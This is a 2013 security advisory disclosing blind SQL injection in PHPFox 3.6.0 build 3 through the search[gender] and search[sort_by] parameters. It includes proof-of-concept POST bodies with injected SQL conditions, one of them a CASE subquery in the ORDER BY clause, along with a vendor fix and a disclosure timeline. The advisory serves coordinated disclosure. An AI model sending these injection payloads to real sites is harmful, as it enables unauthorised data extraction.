PHPFox v3.6.0(build3) Multiple SQL Injection vulnerabilities
------------------------------------------------------------== Description ==- Software link: http://www.phpfox.com
- Affected versions: version 3.6.0(build3)is vulnerable. Other
versions might be affected as well.- Vulnerability discovered by: Matias Fontanini
== Vulnerabilities ==
When performing POST requests to /user/browse/view_/, the
"search[gender]"and"search[sort_by]" parameters are not correctly
sanitized before being used to construct SQL queries, making them
vulnerable to Blind SQL Injection attacks.== Proof of concept ==- For the "search[gender]" parameter, using the condition "1=0" so
that no results are returned:
POST /user/browse/view_/
core[security_token]=0db230b2a8b6755b8cfe60d97fb1a613&search[gender]=2and1=0search[from]=&search[to]=&search[country]=&null=1&search[city]=&search[zip]=&search[keyword]=&search[type]=0&search[submit]=Submit&custom[1]=&custom[2]=&custom[3]=&custom[4]=&custom[5]=&custom[6]=&custom[7]=&search[sort]=u.last_login&search[sort_by]=DESC
- The "search[sort_by]" parameter is inserted in a "order by" clause.
Therefore, an attacker could exploit it by making the application sort
the results based on a different criteria, depending on whether the
query was successful:
POST /user/browse/view_/
core[security_token]=0db230b2a8b6755b8cfe60d97fb1a613&search[gender]=2&search[from]=&search[to]=&search[country]=&null=1&search[city]=&search[zip]=&search[keyword]=&search[type]=0&search[submit]=Submit&custom[1]=&custom[2]=&custom[3]=&custom[4]=&custom[5]=&custom[6]=&custom[7]=&search[sort]=u.last_login&search[sort_by]=ASC,(case
when (select 1from dual) then birthday_search else password end)== Solution ==
Upgrade the product to the 3.6.0(build6) version. Note that builds 4and5 also contain the vulnerability present in the "search[sort_by]"
parameter, but not the other one.== Report timeline ==[2013-07-30] Vulnerability reported to vendor.[2013-07-30] Developers answered back indicating that an update would
be released soon.[2013-08-07] PHPFox 3.6.0(build6) was released, which fixed all of
the issues reported.[2013-08-07] Public disclosure.
